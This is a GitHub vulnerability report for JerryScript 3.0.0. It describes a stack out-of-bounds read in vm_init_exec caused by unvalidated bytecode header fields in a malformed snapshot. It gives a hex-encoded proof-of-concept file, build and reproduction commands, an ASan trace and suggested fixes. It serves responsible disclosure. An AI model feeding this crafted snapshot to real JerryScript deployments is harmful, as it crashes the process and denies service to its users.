Skip to content

Malformed snapshot bytecode drives VM-init stack-buffer-overflow (vm_init_exec, vm.c:5190) (CWE-125) #5302

Description

@1820893135-pixel

Summary

A malformed snapshot, after deserialization, produces bytecode with anomalous register_end / literal_end fields. When the VM executes it, vm_init_exec computes literal_start_p and the register area from these untrusted fields (vm.c:5190 reads data in the literal_end range), pointing outside the 24-byte shared struct (frame [32,56)) on the vm_run_global stack. ASan reports a stack-buffer-overflow: READ of size 8 at offset 56 — an out-of-bounds read of the stack variable shared.

  • Affected: JerryScript 3.0.0 (jerry-core/vm/vm.c:5190 in vm_init_exec, reached from vm_run_global at jerry-snapshot.c:1024)
  • Severity: High
  • CWE: CWE-125 (Out-of-bounds Read)

Detail

The root cause is again in the snapshot deserialization stage: the bytecode header fields register_end / literal_end / argument_end are not validated for consistency, so an illegal layout propagates into VM initialization. A 122-byte malformed snapshot is sufficient to trigger the stack OOB read and abort the process.

POC

# 0) rebuild POC
printf '534e41504a5252594600000000000000680000000100000018000000060001000010030133000000010303040700000087000000300000005000015303012c02380100d1d05600008701000004000100101001013300000001010202a00000009a00015500000000070000000100680005007072696e74000000' | xxd -r -p > poc.bin

# 1) build (ASan+UBSan, snapshot exec enabled)
cmake -S . -B build -DENABLE_LTO=OFF -DJERRY_SNAPSHOT_EXEC=ON -DJERRY_SNAPSHOT_SAVE=ON \
      -DCMAKE_BUILD_TYPE=RelWithDebInfo -DCMAKE_C_COMPILER=clang \
      -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-sanitize-recover=all -O1 -g"
cmake --build build --target jerry-core jerry-port -j$(nproc)
clang -fsanitize=fuzzer,address,undefined -fno-sanitize-recover=all -O1 -g -DJERRY_SNAPSHOT_EXEC=1 \
      -I jerry-core/include harness.c build/lib/libjerry-core.a build/lib/libjerry-port.a -lm -o jerry_fuzzer

# 2) reproduce
./jerry_fuzzer poc.bin

Trigger result (ASan)

ERROR: AddressSanitizer: stack-buffer-overflow on address ... READ of size 8 at offset 56
    #0 ... vm_init_exec vm.c:5190
    #1 ... vm_run_global jerry-snapshot.c:1024
    #2 ... fuzz_snapshot harness.c

The read goes 8 bytes past the 24-byte shared struct on the stack frame.

  • Replay exit code: 134 (ASan abort)
  • Deterministic: yes.
Image Image

Impact

A 122-byte malformed snapshot deterministically triggers an ASan stack OOB read and aborts the process (DoS). The defect is a stack OOB read; primary impact is process crash. If a future path reuses the OOB-read address for a write (e.g., the VM writing back to the register area), stack corruption becomes possible, raising severity. On the current evidence, impact is DoS.

Suggested fix

  1. Validate register_end / literal_end / argument_end consistency during snapshot deserialization; reject bytecode where the register/literal regions exceed the snapshot bounds.
  2. In vm_init_exec, bound-check the computed literal_start_p / register area against the actual ecma_compiled_code_t extent before dereferencing.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions